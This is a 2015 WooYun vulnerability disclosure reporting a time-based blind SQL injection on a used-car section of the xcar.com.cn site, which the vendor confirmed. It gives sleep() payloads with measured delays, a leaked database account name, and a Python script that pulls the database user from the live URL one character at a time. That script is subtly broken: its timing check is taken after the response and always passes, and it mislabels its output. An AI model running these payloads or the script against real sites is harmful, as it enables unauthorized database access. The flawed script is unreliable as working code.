当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109844

漏洞标题:爱卡某站SQL注射涉及大量数据库

相关厂商:爱卡汽车网

漏洞作者: 紫霞仙子

提交时间:2015-04-23 11:23

修复时间:2015-06-07 13:00

公开时间:2015-06-07 13:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-23: 细节已通知厂商并且等待厂商处理中
2015-04-23: 厂商已经确认,细节仅向厂商公开
2015-05-03: 细节向核心白帽子及相关领域专家公开
2015-05-13: 细节向普通白帽子公开
2015-05-23: 细节向实习白帽子公开
2015-06-07: 细节向公众公开

简要描述:

233

详细说明:

http://used.xcar.com.cn/index.php?carAge=0&cityId=0&color=0&displacement=0&gearbox=0&is_haveimg=0&is_newcar=0&is_sale=1&level=0&mileage=0&pbid=0&price=99&priceBetween[0]=25&priceBetween[1]=&provinceId=0&r=car/search&rank=0&type=0&vframe=0&pserid=
pserid=if(now()=sysdate(),sleep(3),0) ---》3s
pserid=if(now()=sysdate(),sleep(6),0) -----》6s
pserid=if(now()=sysdate(),sleep(10),0) -----》11s
返回时间,判断漏洞存在

漏洞证明:

跑出来的用户:users : 'gcardbmanage'@'10.15.201.%'
说下脚本吧,这个对网速要求非常严格,我设的超时是 1s,所有网络不好的话会丢失一位
如下图:

xx0423111137.png


-------------------------------------------
脚本多跑个几次,就可以把丢失的补回来。。。。。
----------------------------------------
import httplib
import time
import urllib
import urllib2
headers = {
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('0123456789abcdefghijklmnopqrstuvwxyz@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,20):
for payload in payloads:
try:

s = "if(now()=sysdate(),sleep(abs(ascii(mid(lower(user()),%d,1))-%d)),0)" % (i,ord(payload))
var1="http://used.xcar.com.cn/index.php?carAge=0&cityId=0&color=0&displacement=0&gearbox=0&is_haveimg=0&is_newcar=0&is_sale=1&level=0&mileage=0&pbid=0&price=99&priceBetween[0]=25&priceBetween[1]=&provinceId=0&r=car/search&rank=0&type=0&vframe=0&pserid="+s
#print var1
content = urllib2.urlopen(var1,timeout=1)
data1 = content.read()
content.close()
start_time = time.time()
if time.time() - start_time < 1.0:
user += payload
print '\n[in progress]', user
break
else:
print '.'
except:
print '.'
continue
print '\nMySQL version is', user

修复方案:

求高 rank!!!! ,我要买东西差点。
呜呜~~~~(>_<)~~~~

版权声明:转载请注明来源 紫霞仙子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-23 12:58

厂商回复:

感谢@紫霞仙子的提交,我们会尽快修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-07 09:16 | Manning ( 普通白帽子 | Rank:559 漏洞数:78 | 就恨自己服务器太少)

    大量数据在哪呢?这脚本你注出个表名来看看啊

  2. 2015-06-07 10:11 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    @Manning 你看我之前报的,就知道有多少数据了,这里厂商说不要贴出来,才没贴。